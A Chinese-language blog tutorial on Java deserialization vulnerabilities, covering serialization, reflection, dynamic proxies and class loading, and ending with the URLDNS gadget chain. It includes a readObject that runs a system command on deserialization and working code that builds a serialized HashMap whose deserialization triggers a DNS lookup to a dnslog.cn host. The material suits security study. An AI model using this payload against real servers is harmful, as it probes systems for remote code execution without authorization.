Java反序列化(1)—— 基础入门
写在前面
这部分的内容主要对B站UP白日梦组长的Java反序列化漏洞系列教程的学习,非常好的教程,受益良多👍
由于本人Java仅仅是Hello World的水平,学习的过程大量借助ChatGPT的辅助,所以部分内容的理解可能会有偏差

但你也没法指正我哈哈😁
Anyway, have fun~
基础知识
序列化/反序列化
重点是ObjectOutputStream类的writeObject方法将一个对象序列化为一个字符串,和ObjectInputStream类的readObject方法将一串字符串反序列化为一个对象。
ObjectOutputStream out = new ObjectOutputStream(outputstream);
out.writeObject(t);
ObjectInputStream in = new ObjectInputStream(inputstream);
Object obj = in.readObject();
注意,序列化的对象要继承Serializable接口。例子:
Person.java
package secss;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
public String name = "noname";
private int age = -1;
Person(){}
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person " + name + " is " + age;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("open -a Calculator");
}
}
SerTest.java
package secss;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("persion.ser"));
oos.writeObject(obj);
oos.close();
}
public static void main(String[] args) throws Exception{
Person p = new Person("sky", 18);
// System.out.println(p);
serialize(p);
}
}
UnSerTest.java
package secss;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnSerTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person p = (Person)unserialize("Persion.ser");
System.out.println(p);
}
}
反射
获取一个原型类的方法
Person p = new Person();
Class c = p.getClass(); // 对一个实例使用getClass()方法
Class c = Class.forName("secss.Person"); // 参数是完全限定的类名(带上包)
Class<?> stringClass = String.class; // 类名.class
Class c = ClassLoader.getSystemClassLoader().loadClass("Pseron"); // Classloader加载
而反射本质上是操作这个原型类。首先是实例化
// 构造函数在没有参数的情况下直接用newInstance
Person p0 = (Person) c.newInstance();
System.out.println(p0);
// 构造函数在有参数的情况下,先用getConstructor获取构造函数
Constructor personconstructor = c.getConstructor(String.class, int.class); // 传入的参数是Class类型,对应形参的数据类型
Person p1 = (Person) personconstructor.newInstance("sky", 18); // 构造函数的用newInstance创建对象
System.out.println(p1);
然后是操作属性,四个方法getField、getFields、getDeclaredField、getDeclaredFields
Field[] personfields = c.getFields(); // 获取所有属性,无法获取私有类型
for (Field f : personfields) {
System.out.println(f);
}
Field[] personDeclaredfields = c.getDeclaredFields(); // 获取所有属性,可以获取私有类型
for (Field f : personDeclaredfields) {
System.out.println(f);
}
Field personage = c.getDeclaredField("age"); // 获取age属性
personage.setAccessible(true); // 因为是private,修改值要用setAccessible设置为True
personage.set(p0, 100); // 修改值,指定一个对象是必须的
System.out.println(p0) // 查看修改结果
然后是方法调用,和属性类似也有四个方法getMethod、getMethods、getDeclaredMethod、getDeclaredMethods
Method personaction = c.getMethod("action", String.class); // 同样要指定传入参数的类型
personaction.invoke(p0, "skyskysky"); // 第一个参数是对象
动态代理
newProxyInstance——创建一个动态代理类,参数说明

例子:
IUser user = new IUserImpl();
IUser uu = (IUser)Proxy.newProxyInstance(
user.getClass().getClassLoader(),
new Class[]{IUser.class}, // 按照class数组的形式传
userproxy // 一个InvocationHandler类
);
然后写一个类继承InvocationHandler

代码
package secss;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class UserInvocationHandler implements InvocationHandler {
IUser user;
public UserInvocationHandler(){}
public UserInvocationHandler(IUser user){
this.user = user; // 实例化的时候传入需要代理的对象
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Invoke " + method.getName());
method.invoke(user, args);
return null;
}
}

method使用方法和反射的一样
动态代理的利用:动态代理类无论调用什么方法,都会走一遍invoke。
类加载

初始化:静态代码块
实例化(使用):构造代码块、构造函数

实验代码:
Class c = Game.class; // 只会加载类
Class.forName("secss.Game"); // 默认会初始化类
Class.forName("secss.Game", false, ClassLoader.getSystemClassLoader()); // 不会初始化
ClassLoader cl = ClassLoader.getSystemClassLoader();
cl.loadClass("secss.Game"); // 不进行初始化
Game类:
public class Game {
public static int i = 1;
static {
System.out.println("静态代码块");
}
public static void staticAction(){
System.out.println("静态方法");
}
{
System.out.println("构造代码块");
}
public Game(){
System.out.println("无参构造方法");
}
public Game(int i){
System.out.println("有参构造方法");
}
}
双亲委派流程

- 检查类是否已加载:首先,它调用findLoadedClass方法来检查该类是否已经被加载到内存中。如果已加载,则直接返回该类的Class对象。
- 使用父类加载器:如果类还没有被加载,则检查是否有父类加载器存在。如果有,它会尝试使用父类加载器来加载这个类。如果父类加载器可以加载这个类,它就会这样做,否则,流程会继续。
- 使用Bootstrap ClassLoader:如果没有父类加载器或父类加载器无法加载该类,那么将使用Bootstrap ClassLoader来尝试加载它。Bootstrap ClassLoader是JVM的一部分,它可以加载核心Java类库(比如java.lang.*)。
- 使用当前类加载器的 findClass 方法:如果前面的步骤都失败了,那么它会调用当前类加载器的findClass方法来尝试加载这个类。这是你可以覆写的一个方法,以实现你自己的类加载逻辑。
- 调用 defineClass 方法:如果findClass方法找到了类的字节码,它应该使用defineClass方法来注册这个类到JVM中。
- 链接类:最后,如果loadClass方法被调用时传递的resolve参数是true,它还将调用resolveClass方法来链接这个类。链接确保类可以被正确使用,它涉及验证类文件和初始化静态变量等步骤。
视频对下面这个调用链有详细的调试:

URLClassLoader 任意类加载:file/http/jar
ClassLoader.defineClass 字节码加载任意类 私有
Unsafe.defineClass 字节码加载 public 类不能直接生成 Spring 里面可以直接生成
一个简单的反序列化漏洞利用——URL DNS链
入口类HashMap,重写了readObject

在解析key/value的部分调用了hash函数

在hash调用了key的hashcode方法

现在找一个类,它的hashCode方法存在利用点。
URL类可以让你通过URL去连接网络服务器并获取资源,它的hashCode方法为

在hashCode值不为-1时(hashCode初始值为-1),会调用handler的hashCode方法,同时修改hashCode的值。
跟进这个hashCode方法,有一个DNS解析的功能。

所以一个简单的利用就出来了
HashMap<URL, Integer> h = new HashMap<>();
h.put(new URL("http://p63utd.dnslog.cn/"), 1);
serialize(h);
但是这里存在一个问题,HashMap的put方法会调用一次hashCode方法。

它会将hashCode的值提前修改,进而无法在服务端执行hashCode方法。
使用反射来解决这一问题
HashMap<URL, Integer> h = new HashMap<>();
URL url = new URL("http://sk555.t0vgmg.dnslog.cn/");
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 555); // 在put前修改hashCode的值,避免序列化的时候本地发起DNS请求
h.put(url, 1);
hashCodeField.set(url, -1); // put之后改为-1
serialize(h);
HashMap.readObject -> URL.hashCode()